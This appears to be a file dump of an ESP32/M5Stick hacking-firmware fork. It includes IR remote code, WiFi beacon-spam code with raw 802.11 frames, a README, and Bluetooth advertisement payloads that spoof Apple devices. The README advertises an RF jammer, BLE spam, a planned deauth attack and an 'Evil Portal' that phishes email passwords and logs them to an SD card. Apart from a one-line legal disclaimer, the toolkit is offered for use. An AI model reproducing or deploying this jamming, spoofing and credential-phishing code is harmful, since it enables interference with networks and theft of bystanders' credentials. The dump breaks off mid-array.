address = ""; 63 | String command = ""; 64 | Serial.println("PARSED"); 65 | while (databaseFile.available()) { 66 | line = databaseFile.readStringUntil('\n'); 67 | if (line.startsWith("protocol:")) { 68 | protocol = line.substring(9); 69 | protocol.trim(); 70 | Serial.println("Protocol: "+protocol); 71 | } else if (line.startsWith("address:")) { 72 | address = line.substring(8); 73 | address.trim(); 74 | Serial.println("Address: "+address); 75 | } else if (line.startsWith("command:")) { 76 | command = line.substring(8); 77 | command.trim(); 78 | Serial.println("Command: "+command); 79 | } else if (line.indexOf("#") != -1) { 80 | if (protocol == "NECext") { 81 | sendNECextCommand(address, command); 82 | } else if (protocol == "NEC") { 83 | sendNECCommand(address, command); 84 | } else if (protocol == "RC5") { 85 | sendRC5Command(address, command); 86 | } else if (protocol == "Samsung") { 87 | sendSamsungCommand(address, command); 88 | } else if (protocol.startsWith("SIRC")) { 89 | sendSonyCommand(address, command); 90 | } 91 | protocol = ""; 92 | address = ""; 93 | command = ""; 94 | type = ""; 95 | line = ""; 96 | break; 97 | } 98 | } 99 | } 100 | } 101 | } 102 | databaseFile.close(); 103 | Serial.println("closed"); 104 | Serial.println("EXTRA finished"); 105 | } 106 | 107 | //IR commands 108 | void sendNECCommand(String address, String command) { 109 | uint32_t addressValue = strtoul(address.c_str(), nullptr, 16); 110 | uint32_t commandValue = strtoul(command.c_str(), nullptr, 16); 111 | irsend.sendNEC(addressValue, commandValue, 32); 112 | Serial.println("Sent1"); 113 | } 114 | 115 | void sendNECextCommand(String address, String command) { 116 | uint32_t addressValue = strtoul(address.c_str(), nullptr, 16); 117 | uint32_t commandValue = strtoul(command.c_str(), nullptr, 16); 118 | irsend.sendNEC(addressValue, commandValue, 32); 119 | Serial.println("Sent2"); 120 | } 121 | 122 | void sendRC5Command(String address, String command) { 123 | uint32_t addressValue = strtoul(address.c_str(), nullptr, 16); 124 | uint32_t commandValue = strtoul(command.c_str(), nullptr, 16); 125 | irsend.sendRC5(addressValue, commandValue, 12); 126 | Serial.println("Sent3"); 127 | } 128 | 129 | void sendSamsungCommand(String address, String command) { 130 | uint64_t data = ((uint64_t)strtoul(address.c_str(), nullptr, 16) << 32) | strtoul(command.c_str(), nullptr, 16); 131 | irsend.sendSamsung36(data, 36); 132 | Serial.println("Sent4"); 133 | } 134 | 135 | void sendSonyCommand(String address, String command) { 136 | uint16_t data = (uint16_t)strtoul(command.c_str(), nullptr, 16); 137 | uint16_t addressValue = (uint16_t)strtoul(address.c_str(), nullptr, 16); 138 | irsend.sendSony(addressValue, data); 139 | Serial.println("Sent5"); 140 | } 141 | 142 | void sendRawCommand(int frequency, String rawData) { 143 | uint16_t dataBuffer[IR_DATA_BUFFER_SIZE]; 144 | int count = 0; 145 | 146 | // Parse raw data string 147 | while (rawData.length() > 0 && count < IR_DATA_BUFFER_SIZE) { 148 | int delimiterIndex = rawData.indexOf(' '); 149 | if (delimiterIndex == -1) { 150 | delimiterIndex = rawData.length(); 151 | } 152 | String dataChunk = rawData.substring(0, delimiterIndex); 153 | rawData.remove(0, delimiterIndex + 1); 154 | dataBuffer[count++] = dataChunk.toInt(); 155 | } 156 | 157 | Serial.println("Parsing raw data complete."); 158 | 159 | // Send raw command 160 | irsend.sendRaw(dataBuffer, count, frequency); 161 | 162 | Serial.println("Sent6"); 163 | } -------------------------------------------------------------------------------- /wifispam.h: -------------------------------------------------------------------------------- 1 | // ===== Settings ===== // 2 | #if defined(LANGUAGE_FR_FR) || defined (LANGUAGE_PT_BR) // please check your country’s restrictions and choose only the Wi-Fi channels allowed there 3 | const uint8_t channels[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13}; // used Wi-Fi channels (available: 1-14) 4 | #else 5 | const uint8_t channels[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11}; // default for LANGUAGE_EN_US 6 | #endif 7 | const bool wpa2 = true; // WPA2 networks 8 | int spamtype = 1; // 1 = funny, 2 = rickroll, maybe more later 9 | 10 | /* 11 | SSIDs: 12 | - don't forget the \n at the end of each SSID! 13 | - max. 32 characters per SSID 14 | - don't add duplicates! You have to change one character at least 15 | */ 16 | char ssids[]={}; 17 | uint8_t mac[6]; 18 | 19 | const char funnyssids[] PROGMEM = { 20 | "Mom Use This One\n" 21 | "Abraham Linksys\n" 22 | "Benjamin FrankLAN\n" 23 | "Martin Router King\n" 24 | "John Wilkes Bluetooth\n" 25 | "Pretty Fly for a Wi-Fi\n" 26 | "Bill Wi the Science Fi\n" 27 | "I Believe Wi Can Fi\n" 28 | "Tell My Wi-Fi Love Her\n" 29 | "No More Mister Wi-Fi\n" 30 | "LAN Solo\n" 31 | "The LAN Before Time\n" 32 | "Silence of the LANs\n" 33 | "House LANister\n" 34 | "Winternet Is Coming\n" 35 | "Ping’s Landing\n" 36 | "The Ping in the North\n" 37 | "This LAN Is My LAN\n" 38 | "Get Off My LAN\n" 39 | "The Promised LAN\n" 40 | "The LAN Down Under\n" 41 | "FBI Surveillance Van 4\n" 42 | "Area 51 Test Site\n" 43 | "Drive-By Wi-Fi\n" 44 | "Planet Express\n" 45 | "Wu Tang LAN\n" 46 | "Darude LANstorm\n" 47 | "Never Gonna Give You Up\n" 48 | "Hide Yo Kids, Hide Yo Wi-Fi\n" 49 | "Loading…\n" 50 | "Searching…\n" 51 | "VIRUS.EXE\n" 52 | "Virus-Infected Wi-Fi\n" 53 | "Starbucks Wi-Fi\n" 54 | "Text ###-#### for Password\n" 55 | "Yell ____ for Password\n" 56 | "The Password Is 1234\n" 57 | "Free Public Wi-Fi\n" 58 | "No Free Wi-Fi Here\n" 59 | "Get Your Own Damn Wi-Fi\n" 60 | "It Hurts When IP\n" 61 | "Dora the Internet Explorer\n" 62 | "404 Wi-Fi Unavailable\n" 63 | "Porque-Fi\n" 64 | "Titanic Syncing\n" 65 | "Test Wi-Fi Please Ignore\n" 66 | "Drop It Like It’s Hotspot\n" 67 | "Life in the Fast LAN\n" 68 | "The Creep Next Door\n" 69 | "Ye Olde Internet\n" 70 | }; 71 | 72 | const char rickrollssids[] PROGMEM = { 73 | "01 Never gonna give you up\n" 74 | "02 Never gonna let you down\n" 75 | "03 Never gonna run around\n" 76 | "04 and desert you\n" 77 | "05 Never gonna make you cry\n" 78 | "06 Never gonna say goodbye\n" 79 | "07 Never gonna tell a lie\n" 80 | "08 and hurt you\n" 81 | }; 82 | 83 | // run-time variables 84 | char emptySSID[32]; 85 | char beaconSSID[32]; 86 | char randomName[32]; 87 | uint8_t channelIndex = 0; 88 | uint8_t macAddr[6]; 89 | uint8_t wifi_channel = 1; 90 | uint32_t packetSize = 0; 91 | uint32_t packetCounter = 0; 92 | uint32_t packetRateTime = 0; 93 | 94 | #include 95 | 96 | extern "C" { 97 | #include "esp_wifi.h" 98 | esp_err_t esp_wifi_set_channel(uint8_t primary, wifi_second_chan_t second); 99 | esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq); 100 | } 101 | 102 | const char* generateRandomName() { 103 | const char* charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 104 | int len = rand() % 10 + 1; // Generate a random length between 1 and 10 105 | char* randomName = (char*)malloc((len + 1) * sizeof(char)); // Allocate memory for the random name 106 | for (int i = 0; i < len; ++i) { 107 | randomName[i] = charset[rand() % strlen(charset)]; // Select random characters from the charset 108 | } 109 | randomName[len] = '\0'; // Null-terminate the string 110 | return randomName; 111 | } 112 | 113 | char* randomSSID() { 114 | const char* charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 115 | int len = rand() % 22 + 7; // Generate a random length between 1 and 10 116 | for (int i = 0; i < len; ++i) { 117 | randomName[i] = charset[rand() % strlen(charset)]; // S elect random characters from the charset 118 | } 119 | randomName[len] = '\0'; // Null-terminate the string 120 | return randomName; 121 | } 122 | 123 | 124 | uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00, //Frame Control, Duration 125 | /*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Destination address 126 | /*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //Source address - overwritten later 127 | /*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //BSSID - overwritten to the same as the source address 128 | /*22*/ 0xc0, 0x6c, //Seq-ctl 129 | /*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, //timestamp - the number of microseconds the AP has been active 130 | /*32*/ 0x64, 0x00, //Beacon interval 131 | /*34*/ 0x01, 0x04, //Capability info 132 | /* SSID */ 133 | /*36*/ 0x00 134 | }; 135 | 136 | // beacon frame definition 137 | uint8_t beaconPacket[109] = { 138 | /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame 139 | /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast 140 | /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source 141 | /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source 142 | 143 | // Fixed parameters 144 | /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK) 145 | /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp 146 | /* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s 147 | /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation 148 | 149 | // Tagged parameters 150 | 151 | // SSID parameters 152 | /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 153 | /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20, 154 | 0x20, 0x20, 0x20, 0x20, 155 | 0x20, 0x20, 0x20, 0x20, 156 | 0x20, 0x20, 0x20, 0x20, 157 | 0x20, 0x20, 0x20, 0x20, 158 | 0x20, 0x20, 0x20, 0x20, 159 | 0x20, 0x20, 0x20, 0x20, 160 | 0x20, 0x20, 0x20, 0x20, // SSID 161 | 162 | // Supported Rates 163 | /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8 164 | /* 72 */ 0x82, // 1(B) 165 | /* 73 */ 0x84, // 2(B) 166 | /* 74 */ 0x8b, // 5.5(B) 167 | /* 75 */ 0x96, // 11(B) 168 | /* 76 */ 0x24, // 18 169 | /* 77 */ 0x30, // 24 170 | /* 78 */ 0x48, // 36 171 | /* 79 */ 0x6c, // 54 172 | 173 | // Current Channel 174 | /* 80 - 81 */ 0x03, 0x01, // Channel set, length 175 | /* 82 */ 0x01, // Current Channel 176 | 177 | // RSN information 178 | /* 83 - 84 */ 0x30, 0x18, 179 | /* 85 - 86 */ 0x01, 0x00, 180 | /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02, 181 | /* 91 - 92 */ 0x02, 0x00, 182 | /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/ 183 | /* 101 - 102 */ 0x01, 0x00, 184 | /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02, 185 | /* 107 - 108 */ 0x00, 0x00 186 | }; 187 | 188 | // goes to next channel 189 | void nextChannel() { 190 | if (sizeof(channels) > 1) { 191 | uint8_t ch = channels[channelIndex]; 192 | channelIndex++; 193 | if (channelIndex > sizeof(channels)) channelIndex = 0; 194 | 195 | if (ch != wifi_channel && ch >= 1 && ch <= 14) { 196 | wifi_channel = ch; 197 | //wifi_set_channel(wifi_channel); 198 | esp_wifi_set_channel(wifi_channel, WIFI_SECOND_CHAN_NONE); 199 | } 200 | } 201 | } 202 | 203 | void beaconSpamList(const char list[]){ 204 | // temp variables 205 | int i = 0; 206 | int j = 0; 207 | int ssidNum = 1; 208 | char tmp; 209 | int ssidsLen = strlen_P(list); 210 | bool sent = false; 211 | 212 | // go to next channel 213 | nextChannel(); 214 | 215 | while (i < ssidsLen) { 216 | // read out next SSID 217 | j = 0; 218 | do { 219 | tmp = pgm_read_byte(list + i + j); 220 | j++; 221 | } while (tmp != '\n' && j <= 32 && i + j < ssidsLen); 222 | 223 | uint8_t ssidLen = j - 1; 224 | 225 | // set MAC address 226 | macAddr[5] = ssidNum; 227 | ssidNum++; 228 | 229 | // write MAC address into beacon frame 230 | memcpy(&beaconPacket[10], macAddr, 6); 231 | memcpy(&beaconPacket[16], macAddr, 6); 232 | 233 | // reset SSID 234 | memcpy(&beaconPacket[38], emptySSID, 32); 235 | 236 | // write new SSID into beacon frame 237 | memcpy_P(&beaconPacket[38], &list[i], ssidLen); 238 | 239 | // set channel for beacon frame 240 | beaconPacket[82] = wifi_channel; 241 | 242 | // send packet 243 | for (int k = 0; k < 3; k++) { 244 | packetCounter += esp_wifi_80211_tx(WIFI_IF_STA, beaconPacket, packetSize, 0) == 0; 245 | delay(1); 246 | } 247 | i += j; 248 | } 249 | } 250 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ⚠️ Discontinued project. 2 | ### DO NOT POST THIS ON M5BURNER! 3 | > Use [Bruce](https://github.com/pr3y/Bruce) instead! 4 | 5 | 6 | 7 | 8 | 9 | ### Contributors (by github): 10 | 11 | 12 | 13 | 14 | ## My Fucking Changelog 15 | * ✨ RF Jammer and Bootscreen for all devices. [@Elitesniper06](https://github.com/Elitesniper06) 16 | * 🔨 Minor fixes and changes (no one cares). 17 | 18 | ## Read this fucking FAQ 19 | * ❔ Will you publish it on M5burner or release bin's? 20 | * Hell nah, compile it yourself. (And customize the code) 21 | * ❔ Why is your code shitty? 22 | * Cuz its my personal version of nemo, just dont use it. 23 | * ❔ What if i dont know how to compile it? 24 | * You can find a tutorial at [Azur Firmware's Server](https://discord.gg/d8dHNh5F74). 25 | 26 | ## Fucking Features 27 | [🔨] Broken [🌱] WIP 28 | * ✨ Infrared: 29 | * [TV B-Gone](http://www.righto.com/2010/11/improved-arduino-tv-b-gone.html) Shut off many infrared-controlled TVs, projectors and other devices. 30 | * 🌱 [IR_Replay](https://github.com/FlasherTwelve/IR_Replay) Copy and send IR Codes (receiver needed). 31 | * 🔨 [Flipper IR File](https://github.com/Lucaslhm/Flipper-IRDB) Flipper IR File support (sd card needed). 32 | * > 🧩 Modules: [Receiver](https://pt.aliexpress.com/item/1005006255266093.html), [Transmitter](https://pt.aliexpress.com/item/1005005609797213.html). 33 | * ✨ BLE: 34 | * Refresh Mac Address. 35 | * BLE Spam 36 | * AppleJuice (IOS). 37 | * SwiftPair (Windows). 38 | * Google (Android). 39 | * Samsung (Well, Samsung). 40 | * Maelstrom (Combined). 41 | * ✨ Wifi: 42 | * WiFi Spam - Funny SSIDs, WiFi Rickrolling, and a Random mode that creates hundreds of randomly-named SSIDs per minute. 43 | * WiFi Evil Portal - A captive portal that tries to social engineer email credentials - saves usernames and passwords to SD Card. 44 | * WiFi SSID Scanner - Display 2.4 GHz SSIDs nearby, get information about them, and even clone the SSIDs in Evil Portal 45 | * ✨ 433Mhz: 46 | * Jammer - Disrupts signals in the 433MHz frequency range (module needed). 47 | * > 🧩 Modules: [Receiver and Transmitter](https://pt.aliexpress.com/item/1005005921670385.html). 48 | * ✨ Misc: 49 | * User-adjustable 24 Hour digital clock backed by the M5 Stick RTC with a notification bar. 50 | * EEPROM-backed Settings for rotation, brightness, automatic dimming and Evil Portal SSID. 51 | * Notification bar at the main menu. 52 | * Credits in settings menu and bootscreen redesigned. 53 | 54 | ### Soon... 55 | 56 | * 🪽 433Mhz: 57 | * Read Signals. 58 | * Save Signals. 59 | * Emulate Signals. 60 | * 🪽 Wifi: 61 | * Deauth Bomb/Spam - Deauth every network in range. 62 | * Packet Sniffer. 63 | * 🪽 BLE: 64 | * Sniffer. 65 | * Detect Card Skimmers. 66 | * Enable/Disable RandomMAC. 67 | 68 | ## ⚠️ How to use Flipper IR codes 69 | - Go to the Flipper-IRDB repo and get your codes. 70 | - Rename the file to IR_Codes.txt 71 | - Put it in the root of the SD card. 72 | - WAIT UNTIL ALL THE FUCKING CODES HAVE BEEN SENT. (otherwise it will stop working) 73 | 74 | (Broken feature, wait for a fix.) 75 | 76 | ## User Interface 77 | There are three main controls: 78 | * Home - Stops the current process and returns you to the menu from almost anywhere in NEMO 79 | * Next - Moves the cursor to the next menu option. In function modes, this usually stops the process and returns you to the previous menu. 80 | * Select - Activates the currently-selected menu option, and wakes up the dimmed screen in function modes 81 | 82 | * StickC and StickC-Plus 83 | * Power: Long-press the power button for 6 seconds to turn off the unit 84 | * Home: Tap the power button (closest to the USB port) 85 | * Next: Tap the side button 86 | * Select: Tap the M5 button on the front of the unit 87 | 88 | * Cardputer 89 | * Home: Tap the Esc/~/` key or the Left-Arrow/, key 90 | * Next/Prev: Tap the Down-Arrow/. key and Up-Arrow/; keys to navigate 91 | * Select: Tap the OK/Enter key or Right-Arrow/? key 92 | 93 | ## Evil Portal 94 | In Evil Portal mode, NEMO activates an open WiFi Hotspot named "FK Free WiFi" (configurable in portal.h) with DNS, DHCP and Web servers activated. 95 | * Evil Portal serves a fake login page that claims to provide internet access if you log in. 96 | * This is a social engineering attack, and will log the username and passwords entered on the page. 97 | * From the Wifi Scan details, you can clone an existing SSID from the scan list. Exiting Evil Portal will clear the Evil Twin SSID 98 | * You can view captured credentials by connecting to the portal from your own device and browsing to http://172.0.0.1/creds 99 | * You can set a custom SSID by connecting to the portal from your own device and browsing to http://172.0.0.1/ssid 100 | * If your device supports EEPROM for settings, the custom SSID you enter will be saved as the default, even if powered off. 101 | * If your device has an SD Card reader with a FAT filesystem formatted card inserted, the usernames and passwords will be logged to fuck-nemo-portal-creds.txt on the SD Card for you to peruse later. 102 | * SD Card support is only enabled by default on the M5Stack Cardputer platform. It can be enabled on M5Stick devices but an SD Card reader must be built and attached to the front panel pin header. 103 | * Evil Portal is only for use on professional engagements with a valid scope of work, educational or demonstration purposes. Storage, sale, or use of personal information without consent is against the law. 🤓 104 | 105 | ## Install .bin files manually with esptool.py 106 | * Install ESP-IDF tools per the [Espressif Getting Started Guide](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/get-started/) 107 | * Open the esp-idf CMD tool (on Windows) - on Mac or Linux, esp-idf.py and esptool.py should be in the system path. 108 | * esptool.py --port COMPORT -b 115200 write_flash -z 0x0 M5Nemo-VERSION.bin 109 | * port may be a COM port e.g. COM4, COM11 on Windows. On Mac and Linux it will usually be in /dev such as /dev/ttyUSB0, /dev/ttyACM0 or /dev/cu.usbserial-3 110 | * M5Nemo-VERSION.bin should be a version you downloaded from a GitHub Release -- preferably the latest available. 111 | 112 | ## Building from Source 113 | If you want to customize NEMO or contribute to the project, you should be familiar with building NEMO from source. 114 | * Install Arduino IDE. I've used Arduino 1.8 on Linux and Windows, and Arduino 2.2 on Windows successfully. 115 | * Install the M5Stack boards for Arduino IDE: In File -> Preferences, paste this URL into the "Boards Manager URLs" text box. Use commas between URLs if there are already URLs present. https://m5stack.oss-cn-shenzhen.aliyuncs.com/resource/arduino/package_m5stack_index.json 116 | * If M5Stack -> M5Stick-C-Plus doesn't show up under Tools -> Boards, then use Tools -> Boards -> Boards Manager and search for M5Stack. This will install support for most of the M5Stack boards including the Stick C Plus. 117 | * Ensure the correct device model (e.g. M5Stick-C, M5Stick-C-Plus or M5Cardputer) is selected in the boards menu. 118 | * Install necessary libraries. In Sketch -> Include Library -> Library Manager, search for and install the following libraries and any dependencies they require: 119 | * M5StickCPlus, M5StickC or M5Cardputer 120 | * IRRemoteESP8266 121 | * Un-comment the appropriate `#define` line near the top for your platform (STICK_C, STICK_C_PLUS or CARDPUTER) 122 | * Switch partition schemes. `Tools` -> `Partition Scheme` -> `No OTA (Large APP)` - sometimes this option is labeled `Huge APP` 123 | * Configuration 124 | * The code should compile cleanly and work on an M5Stick C Plus out of the box from the master branch or a release tag. 125 | * Uncomment only the one appropriate `#define` option or compiler errors will occur. 126 | * If for some reason the screen jumps from very dim at level 0 to almost fully bright at level 1 and further brightness levels don't affect anything, set the pct_brightness variable to false. 127 | * Compile and upload the project 128 | 129 | ## Building from Source (with Arduino CLI) 130 | 131 | - Install Arduino CLI 132 | - Add M5Stack Index to Arduino Core 133 | - Add M5Stack Libraries 134 | 135 | ```bash 136 | 137 | # Install m5stack boards 138 | arduino-cli core install m5stack:esp32 --additional-urls https://m5stack.oss-cn-shenzhen.aliyuncs.com/resource/arduino/package_m5stack_index.json --log-level warn --verbose 139 | 140 | # Install required library 141 | arduino-cli lib install M5Cardputer --log-level warn --verbose 142 | arduino-cli lib install IRRemoteESP8266 --log-level warn --verbose 143 | 144 | # Compile sketch 145 | arduino-cli compile --fqbn m5stack:esp32:m5stack_cardputer -e --build-property build.partitions=huge_app --build-property upload.maximum_size=3145728 ./fuck-nemo.ino 146 | 147 | ``` 148 | 149 | - This will create multiple binaries based on partition sketch, you can merge a single binary using `esptool` 150 | - Install esptool - `pip install -U esptool` 151 | 152 | ```bash 153 | 154 | esptool.py --chip esp32s3 merge_bin --output FuckNemo.bin 0x0000 fuck-nemo.ino.bootloader.bin 0x8000 fuck-nemo.ino.partitions.bin 0x10000 fuck-nemo.ino.bin 155 | ``` 156 | 157 | - You can now flash the merged binary firmware using `esptool` 158 | 159 | ```bash 160 | 161 | esptool.exe write_flash -z 0 FuckNemo.bin 162 | ``` 163 | 164 | ## Building from Source (Docker) 165 | 166 | - Install Docker 167 | - Run `./scripts/docker-build.sh ` 168 | - Run `./scripts/flash.sh --device=` 169 | 170 | ```sh 171 | # This will build an image will all required libraries based on the configured platform, and it will compile, output and merge binaries 172 | # By default this will compile for the M5Cardputer in en-us locale, ./config/.env.M5Cardputer 173 | ./scripts/docker-build.sh 174 | 175 | # If you want to select a different build config you can pass it as a parameter. See ./configs/ for various configurations 176 | ./scripts/docker-build.sh ./config/.env.M5Cardputer 177 | 178 | # Binary files will be output to ./build 179 | ls ./build 180 | 181 | # This will flash the build output from the build step, it reuses the container image from the previous step. 182 | # By default this will compile for the M5Cardputer in en-us locale, ./config/.env.M5Cardputer 183 | ./scripts/flash.sh --device=/dev/ttyusb0 184 | 185 | # If you passed a different build config make sure to pass it along to the flash script 186 | ./scipts/flash.sh --device=/dev/ttyusb0 --build-config=./config/.env.M5Cardputer 187 | ``` 188 | Things I probably won't merge in: 189 | * My credit card info. 190 | -------------------------------------------------------------------------------- /applejuice.h: -------------------------------------------------------------------------------- 1 | #include 2 | // globals for passing bluetooth info between routines 3 | // AppleJuice Payload Data 4 | uint8_t Airpods[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 5 | uint8_t AirpodsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 6 | uint8_t AirpodsMax[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 7 | uint8_t AirpodsGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 8 | uint8_t AirpodsGen3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 9 | uint8_t AirpodsProGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 10 | uint8_t PowerBeats[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 11 | uint8_t PowerBeatsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 12 | uint8_t BeatsSoloPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 13 | uint8_t BeatsStudioBuds[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 14 | uint8_t BeatsFlex[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 15 | uint8_t BeatsX[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 16 | uint8_t BeatsSolo3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 17 | uint8_t BeatsStudio3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 18 | uint8_t BeatsStudioPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 19 | uint8_t BeatsFitPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 20 | uint8_t BeatsStudioBudsPlus[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 21 | uint8_t AppleTVSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 22 | uint8_t AppleTVPair[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 23 | uint8_t AppleTVNewUser[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; 24 | uint8_t AppleTVAppleIDSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 